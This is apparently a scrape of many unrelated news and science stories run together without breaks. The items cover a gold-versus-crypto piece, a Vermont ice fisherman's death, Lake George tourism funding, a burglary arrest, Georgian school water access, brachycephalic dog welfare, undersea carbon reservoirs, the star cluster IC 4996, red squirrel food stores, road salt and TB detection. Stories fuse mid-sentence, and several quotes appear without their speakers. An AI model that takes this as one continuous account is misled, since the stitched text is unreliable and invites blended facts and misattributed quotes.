Gold is Dead? Should You Opt for Gold (Over Crypto) in Your Portfolio?

When meme coins surged earlier this year (remember Dogecoin mania?) it might've been easy to dump everything you owned  stocks, bonds, gold  for crypto. Then digital currencies took a nosedive again. Young retail investors might deem actual coins  including precious metals  all but dead. But you might not want toORWELL, Vermont  The body of a missing ice fisherman was recovered Wednesday afternoon after he was missing since Monday, according to Vermont State Police. Police said the divers located a body at about 3:30 p.m. matching the description of Lee Wiktorski, 61, of Benson, Vermont. He was last seen at a bait shop in Castleton, Vermont, on Monday afternoon. Searchers located personal items that belong to Wiktorski on the ice near Singing Cedars Landing in Vermont on Monday and located his Dodge pickup truck submerged in 22 feet of water on Tuesday. Wiktorski was not with the truck, and dive efforts were hindered by currents and poor visibility. Search teams returned on Wednesday.They are death to tourism, he said.

Lake George is the only one of 12 lakes in the states algal bloom study that has not yet had an algal bloom. The most recent one was Skaneateles Lake, which is a tourist destination and serves as a drinking water supply for the city of Syracuse.

We are in the position of preventing an algal bloom in Lake George if we act now, he said.

State funding for the Lake George treatment plant is an investment in one of the nations natural crown jewels that will deliver returns for generations to come, he said.

Bartholomew said in his testimony that Lake George without the lake would be like taking Central Park out of New York City or the falls from Niagara Falls. The plant badly needs to be replaced, and without action, the tourism generated by the lake is at risk.

Warren County generates $600 million in tourism spending, supports 9,000 jobs and generates $42 million in local taxes and $33 million in state taxes and nearly $300 million in labor income, he said.

Bartholomew said the village is seeking another $6 million in funding to lessen the impact on the village taxpayers.MOREAU  A two-time felon was jailed Tuesday for allegedly burglarizing a home in Moreau, according to State Police.

Brandon A. Belair, 29, of Fort Edward, was charged with second-degree burglary and fourth-degree criminal possession of stolen property, both felonies, and misdemeanor criminal possession of a controlled substance for a burglary in recent weeks, police said in a news release. He allegedly had at least one stolen credit card.

State Police said a resident of the home caught the suspect fleeing the home with items, and troopers later determined Belair was responsible. He was also wanted on a parole violation warrant, and was located this week at Budgetel Inn in Moreau, where he has been staying.

He was also found to have items stolen from another victim in a case that is under investigation by the Saratoga County Sheriff's Office.

Belair was arraigned and sent to Saratoga County Jail without bail. He is on parole for a 2015 heroin possession conviction in Washington County Court, and has also served a prison term for attempted burglary.

State Police from the Wilton station investigated the case, assisted by state parole officers.

Love 0 Funny 2 Wow 0 Sad 2 Angry 3School monitoring: Public Defender says 16 out 108 schools lack drinking water

By Gvantsa Gabekhadze

Public Defender Nino Lomjaria says that 16 out of 108 monitored schools in Georgia do not have drinking water at all.She stated that the worst situation was detected in mountainous regions of the country."Access to water is an important and fundamental right of the child. We studied 108 schools in six regions. 16 out of the monitored schools do not have drinking water at all, while water quality is not checked in most of the schools; many schools do not have access to technical water. In such conditions, students cannot get enough drinking water.The sanitary issues are not settled as well. Majority of toilets are located in the yard, and in many cases, there are no isolated booths for boys and girls. This situation seriously impedes children's development and their attendance at school," said Lomjaria.Last year the Ombudsmans Office studied the sanitary situation in public schools of Kvemo Kartli region and stated the conditions there are alarming.Lomjaria addressed Kvemo Kartli municipalities with a recommendation to ensure access to safe water and sanitation.The monitoring carried out by the Public Defenders Office in several schools of Marneuli, Tsalka, Gardabani and Dmanisi municipalities in June 2018 showed that the school environment, infrastructure, access to water and sanitary situation are alarming and need to be urgently improved, which should be seen by the relevant agencies as one of the most important priorities, Lomjarias statement reads.The Georgian government claims that education in mountainous regions is among their top priorities and pledge significant improvements beginning this year.There is a hotline established for anyone who has complaints or problems with properties. The number is 518-500-4080. People can also file complaints online at https://hostcompliance.com/tips.

Work schedules

The Lake George Town Board on Monday adopted policies on allowing people to work from home and inclement weather closures.

The policy states that the town will follow the Lake George Central School Districts schedule if there is a delayed opening or early dismissal because of inclement weather. Town Comptroller Jenn Farrell said the need for the policy arose during the incident a few weeks ago when people were traveling to get to work under tough conditions. There was no policy in the employee handbook as to when or if the Town Hall would be closed or dismissed early.

People would be allowed to use their personal time if they wanted to leave earlier or start later than the official town hours.

Farrell said the policy got rave reviews when she showed a draft.

Everyone was excited that we had something to go by, she said.

The town would not follow the school if the district decided to close for the day.GLENS FALLS  Local gastroenterologist Dr. Howard P. Fritz has been named chief medical officer and vice president of medical affairs at Glens Falls Hospital.

Fritz retired from Gastroenterology Associates of Northern New York in September 2018, after 29 years with the practice. At Glens Falls Hospital, he is succeeding Dr. Robert Pringle, who was interim chief medical officer during the hospital's search for candidates.

Fritz will oversee all clinical operations at the hospital, including adherence to best practices and the ensuring of overall quality of care, will be the liaison between the medical staff and administration and will help with physician recruitment and strategic planning.

Dr. Fritz is highly respected among the members of our medical community and cares very deeply about making Glens Falls Hospital the best it can possibly be, said President and CEO Dianne Shugrue. He has been an advocate for continuous improvement as a practicing member of our medical staff, and is now in an even greater position to lead the way forward from a quality of care standpoint.

Fritz said he wants to help the hospital flourish.

I believe in the mission, he said. "Glens Falls Hospital is a not-for-profit, community-based hospital. The hospital and the health care team that works with and within it are committed to providing high-quality care to as many people as possible, as close to home as possible.

Love 0 Funny 0 Wow 0 Sad 0 Angry 0A winter with lots of snow is good for snowmobilers, and an industry that brings thousands of visitors to the Adirondack during what is otherwise a slow time of year.

That snow can also be bad for some snowmobilers, as it puts more people on the trails as well as more people on sleds who probably don't belong on them for a variety of reasons.

So far, the winter of 2018-19 has shaped up to be a deadly one for New York's snowmobilers, particularly in the Old Forge/Inlet area, where five deaths have occurred so far. We have been lucky around here so far this winter, knock on wood.

NYupstate.com took a look at all of the crashes and the factors that have gone into them. It's a good read if you are a snowmobiler, or frequent that area.

There are a lot of factors at stake, Snowmobiles are faster than ever, and many of the crashes involve riders under the influence of alcohol. (A couple of local police officers in Old Forge for snowmobile training earlier this winter actually witnessed the aftermath of a DWI crash where no one was hurt.)They all should be ashamed. The country owes those who served honorably in the military support and help with illnesses related to that service, no matter the cost. It is not the veterans fault that the Vietnam War is largely considered a mistake, nor is it their fault that higher-ups decided to use toxic herbicides without fully understanding the possible effects on U.S. troops.The commission said that if the Reedville fleet catches more than 51,000 metric tons in the Bay  its current quota  it could still decide Virginia is out of compliance. But it noted that the Bay catch since 2012 has been below that level  Virginia's noncompliance is strictly that it hasn't enacted the commission's cap into state law.Bosse countered that King has already been the beneficiary of second and even third chances in state court. He noted that King's juvenile record involved multiple deferred dispositions for marijuana, brass knuckles, petit larceny and providing false identification to law enforcement, even though he twice violated the terms of his probation on one of those charges.According to another criminal complaint, the officer saw a male and a female walking through the aisles of the store, eating fried chicken from the deli. The two also put items in the female's purse and grabbed a two-liter bottle of soda before starting to walk out the store.To create an independent commission, lawmakers would have to amend the Constitution by voting on it twice  with an election in between  and holding a voter referendum. The first General Assembly vote would have to take place this year for the commission to become a reality in 2021, when new lines are drawn based on new Census data.Bills raising the age from 18 to 21 passed both the House of Delegates and state Senate with veto-proof margins, and are headed for the desk of Gov. Ralph Northam, a doctor whose first big political success was convincing the General Assembly in 2009 to ban smoking in restaurants. Northam was a senator at the time.Back then, folks were not real aware of the presence of seals along our coast in winter. But seals had been heading down this way from New England in winter for several years. Biologists think that a federal law passed in 1972 banning killing and harassing seals contributed to the population boom and to more seals in search of food heading south in winter.Even though they hand-pull noodles daily for their signature beef, chicken, shrimp, duck and pork chop soups, we ordered from the rice bowl portion of the menu. I chose the katsu chicken, which arrived crispy and moist with big hunks of al dente zucchini, broccoli and carrots along with sticky rice. I asked for a spicy sauce, which they brought in a small dish for me to add as I liked. Lynn opted for the fried chicken with chef's special sauce, more sweet than spicy. Also tender and with the same veggies, Lynn's bowl would have benefited by the sauce being served on the side."Washington was out-generaled, he didn't have the experience that the British generals had and we were about to lose," he said. "He could have easily said the (American troops) would take as many of the (enemy) as possible and go out in a blaze of glory. Instead he adapts, and plans a daring escape for his military. In the middle of the night he brings all these boats to the East River for his troops. But he won't get on the boat until all those under him get on the boat first, even the lowest ranking soldier. He risked his life to save others. All the regiments see him. And that is one of the moments when we all came together. That showed real leadership."This pug is suffering from extreme summer heat at 37C. Credit: Shutterstock/Guentermanaus

Veterinarians have a professional and moral obligation to reduce or prevent any negative health impacts of disorders in animals. But what if animals are bred with known disorders? And what if those disorders are a big part of what makes them cute?

In a paper, published earlier this year in Animals, we argue that veterinarians must do more to discourage the breeding of animals with conditions known to seriously compromise their welfare.

This is the case with extreme brachycephalic or short-skulled dogs, including French bulldogs, pugs, British bulldogs, Boston terriers, and Cavalier King Charles spaniels.

The trend towards shorter skulls seems to have taken hold since the 1870s and the development of breed standards that inadvertently encouraged extreme "conformation" (shape, size and anatomical proportions).

In companion animal practice, the veterinary profession is kept busy ministering to these dogs and bringing them into the world, with more than 80% of Boston terriers, British bulldogs and French bulldogs being born by Caesarean section.

Struggle to breathe

Extreme brachycephaly is associated with a range of disorders, most notably Brachycephalic Obstructive Airway Syndrome (BOAS). BOAS occurs in shorter-skulled dogs because the nose, tongue, soft palate and teeth are crammed into a relatively small space, reducing the size of the airway.

Clinical signs of BOAS include increased respiratory noise, effort and difficulty in breathing, an intolerance to exercise, gagging, blue gums (in the mouth), overheating and fainting.

Brachycephalic dogs probably experience the unpleasantness of air hunger (lack of oxygen and surplus of carbon dioxide) and, compared with healthy non-brachycephalic dogs, show marked increases in respiratory rate as temperatures rise.

Can't stand the heat

The hotter the temperature, the harder these dogs have to work to cool down by panting. As a result, the tissues of the upper airway swell, further reducing airflow and eventually causing airway obstruction, which causes them to get hotter . It's a life-threatening vicious cycle.

This reduced capacity to cope with heat explains why Qantas no longer permits the transport of affected breeds on flights longer than five hours, or those with more than two sectors per journey.

* Brachycephalic Airway Obstruction Conditions. Credit: The Conversation

Affected dogs also change the way they sleep to avoid airway obstruction, sometimes by adopting a sitting position. They also raise their chins or sleep with a toy between their teeth to keep their airways open. Indeed, 10% can sleep only with an open mouth.

Extremely short skulls are associated with excess carbon dioxide concentrations (that shift the acid-base balance of the blood), neurological deficits, skin disease, eye disease and certain behavioural disorders.

Brachycephalic dogs also have an increased anaesthetic risk  and yet increasingly need surgery to treat these problems.

This is not new information. For example, in 2008, the documentary Pedigree Dogs Exposed revealed the impact of extreme brachycephaly on dogs.

But they're popular dogs

Despite accumulating evidence about the health and welfare impacts of brachycephaly, affected breeds are becoming more popular.

In the last decade, registrations of French bulldogs have increased by around 3,000%. This prompted kennel clubs to warn prospective owners about the real possibility of bad breeders trying to cash in on the trend.

Brachycephalic breeds are booming in popularity in Australia where, since the mid-1980s, puppy purchasers have increasingly favoured shorter, smaller, brachycephalic breeds.

A costly health problem

Extreme brachycephalic dogs aren't the only ones bearing the costs of inherited health and welfare problems.

Figures from overseas and Australian pet insurance providers confirm that the financial costs of owning extreme brachycephalic dogs are high. This is due to the many conditions they suffer from including, but not limited to, BOAS.

Analysis of more than 1.27 million Australian pet insurance claims over a nine-year period (2007-2015) confirms this.

As you can see (above), brachycephalic dogs were more likely to suffer from a number of health conditions when compared with non-brachycephalic dogs. They also suffer from fungal skin disease, skin cancer, brain disorders, back problems and difficulties giving birth.

Dysphagia (problems swallowing), vomiting, regurgitation and flatulence are other common clinical signs in brachycephalic breeds.

There is also the emotional cost of owning dogs that may require extensive treatment, and live, on average, shorter lives than their longer-nosed canine counterparts.

What more can vets do?

The brachycephalic dog patient may place veterinarians in ethically challenging situations when they are approached to help in treatment and breeding of affected animals.

In discussing breed-associated disorders, veterinarians may appear to be critical of the very features that clients find most endearing about their companion animals and some have preferred to speak up only anonymously. Or veterinarians may have a conflict of interest if they draw an income from treating the typical disorders.

But unless veterinarians and breed organisations speak up, the demand for extreme brachycephalic breeds will continue. The enormity of the welfare problem is increasing with the increased demand for affected dogs.

The Australian Veterinary Association (AVA) and the RSPCA Australia joined forces back in 2016 to promote awareness of these health and welfare problems in their Love is Blind campaign.

Breeder organisations are exploring ways to moderate extreme shapes in the show-ring. For example, a survey published last year of 15 national kennel clubs, identified exaggerated morphological features and inherited disorders as their chief concerns.

Companies can also play a role. Last year New Zealand's online marketplace Trade Me banned the sale of pugs, French bulldogs and British bulldogs on animal welfare grounds.

In recognition of the media's role in generating this demand, the British Veterinary Association no longer uses adverts depicting brachycephalic breeds. The Australian Veterinary Association also avoids use of images of other breeds with exaggerated features, such as shar-peis and dachshunds.

Every veterinarian must provide every individual patient with the best possible care they can. But given what we know, we're also morally obliged to discourage breeding of dogs with extreme brachycephaly so that we can turn off the tap on this suffering.

It's also something potential dog-owners should be more aware of. They might think they look cute, but those extreme brachycephalic dogs could be costly, both financially and emotionally.

Explore further Scheme launched to improve health of french bulldogs, pugs and bulldogs

This article is republished from The Conversation under a Creative Commons license. Read the original article.A deep-sea reservoir near Taiwan spews carbon dioxide when its slurry-like hydrate cap ruptures. Credit: National Academy of Sciences

The world's oceans could harbor an unpleasant surprise for global warming, based on new research that shows how naturally occurring carbon gases trapped in reservoirs atop the seafloor escaped to superheat the planet in prehistory.

Scientists say events that began on the ocean bottom thousands of years ago so disrupted the Earth's atmosphere that it melted away the ice age. Those new findings challenge a long-standing paradigm that ocean water alone regulated carbon dioxide in the atmosphere during glacial cycles. Instead, the study shows geologic processes can dramatically upset the carbon cycle and cause global change.

For today's world, the findings could portend an ominous development. The undersea carbon reservoirs released greenhouse gas to the atmosphere as oceans warmed, the study shows, and today the ocean is heating up again due to manmade global warming.

If undersea carbon reservoirs are upset again, they would emit a huge new source of greenhouse gases, exacerbating climate change. Temperature increases in the ocean are on pace to reach that tipping point by the end of the century. For example, a big carbon reservoir beneath the western Pacific near Taiwan is already within a few degrees Celsius of destabilizing.

Moreover, the phenomenon is a threat unaccounted for in climate model projections. Undersea carbon dioxide reservoirs are relatively recent discoveries and their characteristics and history are only beginning to be understood.

Those findings come from a new research paperproduced by an international team of Earth scientists led by USC and published in January in the journal Environmental Research Letters.

"We're using the past as a way to anticipate the future," said Lowell Stott, professor of Earth sciences at the USC Dornsife College of Letters, Arts and Sciences and lead author of the study. "We know there are vast reservoirs of carbon gas at the bottom of the oceans. We know when they were disrupted during the Pleistocene it warmed the planet.

"We have to know if these carbon reservoirs could be destabilized again. It's a wild card for which we need to account," Stott said.

At issue are expanses of carbon dioxide and methane accumulating underwater and scattered across the seafloor. They form as volcanic activity releases heat and gases that can congeal into liquid and solid hydrates, which are compounds stuck together in an icy slurry that encapsulates the reservoirs.

These undersea carbon reservoirs largely stay put unless perturbed, but the new study shows the natural reservoirs are vulnerable in a warming ocean and provides proof the Earth's climate has been affected by rapid release of geologic carbon.

The scientists say it occurred in the distant past when the Earth was much warmer, and it's happened more recentlyabout 17,000 years ago at the end of the Pleistocene epoch when glaciers advanced and receded, which is the focus on the new study. Warming was evident due to changes in atmospheric greenhouse gas concentrations, based on ice cores, marine and continental records.

But how did that happen? What forced such dramatic change in the first place? Scientists have been searching for that answer for 40 years, with focus on oceans because they're a giant carbon sink and play a central role in carbon dioxide variations.

They soon realized that processes that regulate carbon to the ocean operated too slowly to account for the surge in atmospheric greenhouse gases that led to warming that ended the ice age. So, scientists around the world began examining the role of Earth's hydrothermal systems and their impact on deep-ocean carbon to see how it affected the atmosphere.

The new study by scientists at USC, the Australian National University and Lund University in Sweden, focused on the Eastern Equatorial Pacific (EEP) hundreds of miles off the coast of Ecuador. The EEP is a primary conduit through which the ocean releases carbon to the atmosphere.

The scientists report evidence of deep-sea hydrothermal systems releasing greenhouse gases to the ocean and atmosphere at the end of the last ice age, just as the oceans were beginning to warm. They measured increased deposition of hydrothermal metals in ancient marine sediments. They correlated glaciation intervals with variations in atmospheric carbon dioxide with differences in marine microorganism ages. They found a four-fold increase in zinc in protozoa (foraminifera) shells, a telltale sign of widespread hydrothermal activity.

Taken together, the new data show that there were major releases of naturally occurring carbon from the EEP, which contributed to dramatic change in Earth's temperature as the ice age was ending, the study says.

Elsewhere around the world, more and more deep-ocean carbon reservoirs are being discovered. They mostly occur near hydrothermal vents, of which scores have been identified so far, especially in the Pacific, Atlantic and Indian oceans. They occur where the Earth's crust spreads or collides, creating ideal conditions for the formation of deep-sea carbon dioxide reservoirs. Only about one-third of the ocean's volcanic regions have been surveyed.

One such reservoir of undersea carbon dioxide, seen in the accompanying video, was discovered about 4,000 feet deep off the coast of Taiwan. Similar discoveries of carbon gas reservoirs have been made off the coast of Okinawa, in the Aegean Sea, in the Gulf of California and off the west coast of Canada.

"The grand challenge is we don't have estimates of the size of these or which ones are particularly vulnerable to destabilization," Stott said. "It's something that needs to be determined."

In many cases, the carbon reservoirs are bottled up by their hydrate caps. But those covers are sensitive to temperature changes. As oceans warm, the caps can melt, a development the paper warns would lead to a double wallop for climate changea new source of geologic carbon in addition to the manmade greenhouse gases.

Oceans absorb nearly all the excess energy from the Earth's atmosphere, and as a result they have been warming rapidly in recent decades. Over the past quarter-century, Earth's oceans have retained 60 percent more heat each year than scientists previously had thought, other studies have shown. Throughout the marine water column, ocean heat has increased for the last 50 years. The federal government's Climate Science Special Report projected a global increase in average sea surface temperatures of up to 5 degrees Fahrenheit by the end of the century, given current emissions rates. Temperature gains of that magnitude throughout the ocean could eventually destabilize the geologic hydrate reservoirs, Stott said.

"The last time it happened, climate change was so great it caused the end of the ice age. Once that geologic process begins, we can't turn it off," Stott said.

Moreover, other similar events have happened in the distant past, helping shape the Earth's environment over and over again. In earlier research, Stott discovered a large, carbon anomaly that occurred 55 million years ago. It disrupted the ocean's chemistry, causing extensive dissolution of marine carbonates and the extinction of many marine organisms. The ocean changes were accompanied by a rapid rise in global temperatures, an event called the Paleocene-Eocene Thermal Maxima (PETM), a period lasting less than 20,000 years during which so much carbon was released to the atmosphere that Earth's temperatures surged to about 8 degrees Celsius hotter than today.

"Until quite recently, we had no idea these events occurred. The PETM event is a good analog for what can happen when undersea carbon escapes through the water column to the atmosphere. And now we know the PETM event was not a unique event, that this has happened more recently," Stott said.

The study comes with some caveats. Much of the ocean floor is unexplored, so scientists don't know the full extent of the carbon dioxide reservoirs. There is no inventory of greenhouse gases from these geologic sources. And ocean warming is not uniform, making it difficult to predict when and where the undersea carbon reservoirs will be affected. It would take much more study to answer those questions.

Nonetheless, the study makes clear the undersea carbon reservoirs are vulnerable to ocean warming.

"Geologic carbon reservoirs such as these are not explicitly included in current marine carbon budgets" used to model the impacts of climate change, the study says. Yet, "even if only a small percentage of the unsampled hydrothermal systems contain separate gas or liquid carbon dioxide phases, it could change the global marine carbon budget substantially."

Said Stott: "Discoveries of accumulations of liquid, hydrate and gaseous carbon dioxide in the ocean has not been accounted for because we didn't know these reservoirs existed until recently, and we didn't know they affected global change in a significant ways.

"This study shows that we've been missing a critical component of the marine carbon budget. It shows these geologic reservoirs can release large amounts of carbon from the oceans. Our paper makes the case that this process has happened before and it could happen again."

Explore further New study in oxygen-deprived black sea provides insights on future carbon budget

More information: Lowell Douglas Stott et al. Hydrothermal carbon release to the ocean and atmosphere from the Eastern Equatorial Pacific during the Last Glacial Termination, Environmental Research Letters (2019). Journal information: Environmental Research Letters Lowell Douglas Stott et al. Hydrothermal carbon release to the ocean and atmosphere from the Eastern Equatorial Pacific during the Last Glacial Termination,(2019). DOI: 10.1088/1748-9326/aafe28Open cluster IC 4996. Credit: Peter Wienerroither.

Using the Vatican Advanced Technology Telescope (VATT) and data from ESA's Gaia satellite, astronomers have conducted a new study of the young open cluster IC 4996 and its vicinity. The research, presented in a paper published January 31 on arXiv.org, reports more details about properties of this cluster.

IC 4996 is a young open cluster in the constellation Cygnus, believed to be a member of an OB association known as Cygnus OB1 (or Cyg OB1), Although numerous observations of IC 4996 have been performed to date, its distance and age remain uncertain. Some studies suggest that it is located about 5,400 light years away from the Earth, while other papers estimate that it may reside as much as 2,400 light years farther. Similarly, its age estimates range from 6 million to 9 million years in various studies.

In order to resolve these discrepancies and to learn more about the nature of IC 4996, a group of astronomers led by Vytautas Straizys of Vilnius University, Lithuania, conducted their own study of this cluster. For this purpose, they used the 1.8-meter VATT telescope located on Mt. Graham, Arizona, and data from Gaia's Data Release 2 (DR2). Published in April 2018, DR2 contains high-precision measurements, including positions in the sky, parallaxes and proper motions for more than 1 billion sources in the Milky Way galaxy. Such information is crucial for determining distances and ages of stars more accurately.

"In this article, we attempt to determine the parameters of IC 4996 with new spectroscopic MK types of the brightest stars and two-dimensional photometric spectral types of fainter stars based on their CCD photometry in the Vilnius system and individual dereddening," the astronomers wrote in the paper.

The study reveals that the Gaia parallax of IC 4996 is 0.522 mas, which corresponds to a distance of 6,243 light years. The age of the cluster was estimated to be between 8 million and 10 million years.

Given that the distance to Cyg OB1 is known to be about 5,483 light years, the researchers noted that IC 4996 is most likely not a member of this association. However, they added that this cluster more likely has a common origin with the Cygnus OB3 (Cyg OB3) association, which is located between 5,870 and 6,500 light years away.

Furthermore, the research found that the interstellar extinction (dimming due to the presence of dust in the interstellar medium) of IC 4996 covers a wide range of values, from 1.3 to 2.4 mag, while the mean value in the central part of the cluster is 1.8 mag. The authors of the paper also noted that DR2 dataset allowed them to identify 72 new possible cluster members.

In concluding remarks, Straizys' team emphasized that their research proves that a two-dimensional classification of stars based on multicolor photometry, together with astrometry from Gaia, can be applied for obtaining physical parameters of open clusters. According to the researchers, the study also shows that boundaries of stellar associations should be revised.

Explore further Astronomers investigate open cluster NGC 6530

More information: V. Straizys et al. Young open cluster IC 4996 and its vicinity: multicolor photometry and Gaia DR2 astrometry. arXiv:1901.11375 [astro-ph.GA]. V. Straizys et al. Young open cluster IC 4996 and its vicinity: multicolor photometry and Gaia DR2 astrometry. arXiv:1901.11375 [astro-ph.GA]. arxiv.org/abs/1901.11375

 2019 Science X NetworkRed squirrel eating a cone Credit: Ryan Taylor

A young squirrel lucky enough to take over territory from an adult male squirrel is like a teenager falling into a big inheritance, according to a new University of Guelph study.

Researchers found male squirrels store more food than females, and if a young squirrel leaving the nest nabs a storage spot previously owned by a male squirrel, they will increase their lifetime pup production by 50 per cent.

"It's like buying a home and finding a big pile of money buried in the walls," said integrative biology professor Andrew McAdam, who worked on the study with lead author David Fisher, a former U of G post doc. "The previous owner of where you live can significantly impact how well off you are, at least in the squirrel world."

Published in the journal Ecology Letters, the study involved hundreds of North American red squirrels.

It is part of the Kluane Red Squirrel Project, a long-term study in the Yukon investigating the ecology and evolution of red squirrels. Started by the University of Alberta in 1987, the project brings together scientists from several universities, including the University of Guelph, University of Michigan, and University of Saskatchewan to monitor behaviour and reproduction of hundreds of individually marked squirrels.

For this study, Fisher and colleagues measured the food stores and reproductive outcome of young squirrels that took over real estate previously owned by either males or females who disappeared.

Squirrels collect spruce cones in the fall and store them in the ground in a "midden" for winter. A hoard can contain more than 20,000 cones, and they can remain edible for several years, said Fisher

Red Squirrel's midden with news cones. Credit: Kluane Red Squirrel Project

"Good thing too, because spruce trees produce cones in boom-bust patterns. There are more bust than boom years, so if squirrels don't store enough in the boom years they won't have enough food to survive the bust years."

It's common for squirrels to take over the territories of other squirrels after they die and in taking over another squirrel's territory, they also inherit their food stores, added Fisher.

"We have seen a food store last as long as 31 yearsas long as we have been studying these squirrelsand owned by 13 different squirrels over that time period," said McAdam.

In this study, researchers found that if a squirrel inherits its territory from a male rather than a female, it will have around 1,300 more cones on average in its midden. This stored energy will keep the squirrel alive for an extra 17 days.

The study also revealed that squirrels at their prime, which is three to four years old, have more cones than younger and older squirrels. This difference means squirrels that inherit their territory from a squirrel that died in mid-age inherit a larger cone store than those that inherit from a young or old squirrel.

"If a female squirrel is lucky enough to take over this prime real estate, then she will have lots of food, which allows her to breed earlier," said McAdam. "This means her offspring will leave the nest early and they will have improved survival rates. Essentially, it will improve this squirrel's genetic contribution to the next generation."

These finding show how the behavior of one squirrel can impact the genetic contribution to the population of another squirrel they have never met, said Fisher.

"Ultimately, the food hoarding behaviour of a squirrel you have never met, and that may have even died before you were born, can impact your chances of survival."

Explore further Early squirrel gets the real estate, study finds

More information: David N. Fisher et al, Indirect effects on fitness between individuals that have never met via an extended phenotype, Ecology Letters (2019). Journal information: Ecology Letters David N. Fisher et al, Indirect effects on fitness between individuals that have never met via an extended phenotype,(2019). DOI: 10.1111/ele.13230Draft resolution presented at US Congress condemning recognition of Georgian occupied regions by Syria

By Gvantsa Gabekhadze

US Congressman Francis Rooney has presented a draft resolution at the US Congress which condemns the recognition of the two occupied regions of Georgia Abkhazia and Tskhinvali (South Ossetia) as independent republics by Syria back in 2018, Georgian Foreign Ministry says.The resolution reiterates the US' firm support for Georgias sovereignty and territorial integrity and condemns the occupation of the two Georgian regions of Abkhazia and Tskhinvali (South Ossetia), the Georgian Foreign Ministry cites the draft resolution.The resolution praises Georgias role in the protection of international peace and security and says that the US and the international community must suspend Russias illegal activities in Georgia and other countries.The draft resolution says that Russia uses its undeveloped client countries to legalize occupation and achieve its geopolitical goals.Georgian Foreign Minister David Zalkaliani thanked the congressman for pushing forward the draft resolution.The draft resolution is one more message to those who support Russias illegal activities that the international community will never tolerate the recognition of Georgian occupied regions as independent states, Zalkaliani said.Russia, Venezuela, Nicaragua, Nauru and Syria have recognised the independence of the Georgian regions so far, since the 2008 Russia-Georgia war.The rest of the international community says that regions are occupied by Russia.The US adopted a law in 2017 which banned financial support for the countries which have recognized the regions as independent republics.Syria and Nauru are on the list.Last month The US House of Representatives passed a supportive act which not only condemns the occupation of Georgian lands but also provides sanctions against those who violate human rights in the two Russian-occupied regions of Georgia.It was for the first time the US House of Representatives confirmed the supportive act as a separate document. Previously the Congress has confirmed many resolutions in support of Georgia. However, the supportive act is a more important document than a resolution, the Georgian Foreign Ministry says.Credit: CC0 Public Domain

Lakes, rivers and some private wells are becoming saltier, largely thanks to high levels of road salt sprinkled on streets during winter. According to an article in Chemical & Engineering News (C&EN), the weekly newsmagazine of the American Chemical Society, this situation could cause harm to wildlife and humans.

Contributing editor Deirdre Lockwood notes that scientists have found greatly increased amounts of chloride in streams, lakes and rivers over the last few decades. One of the biggest culprits is salt that's deposited onto roads before and during snowstorms. The amount used in the U.S. has grown dramatically from about 4,500 metric tons in the early 1940s to 22 million metric tons now. But salt also comes from sewage, fertilizer runoff, mining operations and deteriorating structures. Not only does all of this salt makes water taste bad, it can corrode plumbing and cause health concerns. It also can affect freshwater organisms and disrupt ecosystems.

Some scientists are calling for the U.S. Environmental Protection Agency to start regulating salts. Others are simply trying to bring more attention to this issue. And some municipalities are already implementing changes. In Madison, Wisconsin, crews apply brine, about a 20 percent salt water solution, onto roads before a snowstorm hits. With this approach, they have used about 70 percent less road salt. And the village of Lake George, New York, has reduced road salt application by about 30 percent with brine treatment and new, more effective snow plows.

More information: "For healthier lakes, rivers, and drinking water, hold the salt," "For healthier lakes, rivers, and drinking water, hold the salt," cen.acs.org/environment/water/  drinking-water/97/i6Credit: Vanderbilt University

Humans just love seeing animals demonstrate love: cuddly chimps grooming each other, say, or penguin pairs carefully passing their egg in the driving snow. Videos of cows joining dog packs or cats and birds becoming friends dot our social media feeds, shared hundreds of thousands of times.

Those animal relationships are more complicated than we think, says Patrick Abbot, associate professor of biological sciences at Vanderbilt University, and one can't always apply the human idea of love to them. It's more likely these behaviors help them survive and reproduce.

Don't label Abbot a Valentine's Day naysayer, though, because he's just the opposite. Even if animals have ulterior motives for teaming up, they teach humans a lot about love.

"The animal world teaches us again and again that falling in love is advantageous to humans," Abbot says. "And knowing why animals do these things makes something like Valentine's Day richer because it makes me feel a part of this larger biological enterprise. Who can't look at a couple of animals courting and not feel a kinship for what they're doing, which is basically saying, 'I like you. Let's see where this leads.'"

Abbot teaches undergraduate- and graduate-level courses on observing animal behavior, which can serve students heading into any type of career since close observation is key for all of them, he says.

What students learn is that animals express behaviors that may look like love to us, but keeps them and their offspring alive and thriving. For instance, in those penguin pairs, the male keeps the egg and hatched chick safe while the female leaves for weeks on end to feed, exchanging places when the female returns.

"That classic image of primates grooming each other is an example of how they strengthen a social bond for protection from predators or parasites," Abbot said. "In some animals, you may even see one issuing a warning call, which seems like it's demonstrating love for the group and putting itself in danger, but it also may be saying, 'I'm the toughest or healthiest member here, but there are weaker ones nearby you can get.'

"There are lots of biological explanations for these kinds of social bonds, but they're what we humans recognize as love."

Last year, Abbot published an edited volume titled "Comparative Social Evolution," an update of and companion book to E.O. Wilson's famous 1975 tome, "Sociobiology." The book is available from Cambridge University Press.Holder with samples of mycobacterial strains with different antibiotic resistance. Credit: Andrey Zyubin

A team of physicists from Immanuel Kant Baltic State University have suggested a method to identify single antibiotic-resistant tuberculosis-causing bacteria. The new method detects the bacteria and evaluates their resistance to antibiotics without damaging the biological sample. The results of the first trial of the method were published in Data in Brief.

Tuberculosis is a major cause of death globally. According to the World Health Organization, over 1.5 million people died of TB in 2017. Each year, the number of those infected with TB increases by 10 million. The disease caused by antibiotic-resistant strains of Mycobacterium tuberculosis is the most dangerous. The strains of the Beijing family (named after the city in which they were first observed) have also become resistant to many medicinal drugs. Methods of quick identification of drug-resistant bacteria are required both for clinical practice and scientific research.

A team of researchers from Immanuel Kant Baltic Federal University and multi-institutional colleagues has suggested using Raman scattering spectrography to analyze bacterial cells. This non-invasive method identifies the composition and structure of the sample based on the scattering of laser radiation of a certain wavelength.

The samples were provided by Saint-Petersburg State Research Institute of Phthisiopulmonology. The authors used bacterial strains obtained from lung expectorations of tuberculosis patients, as well as from bone tissue samples taken during surgical procedures. Before the experiments with Raman scattering spectrography, the level of drug resistance of the bacteria was determined using standard biological and chemical methods.

To obtain information about the structure of the cells belonging to different strains, the scientists subjected different bacteria strains to the spectroscopy procedure. Because resistance to antibiotics occurs due to changes in the composition of bacterial cell wall components, among other things, the cells of different strains appeared to scatter the light differently. Spectroscopy distinguished the differences in the cell walls of drug-resistant and drug-sensitive bacteria.

The study published by the authors included images of bacterial cultures with different types of resistance to antibiotics and their characteristic Raman spectrums. The information on bacteria from lungs and bone tissue was provided separately.

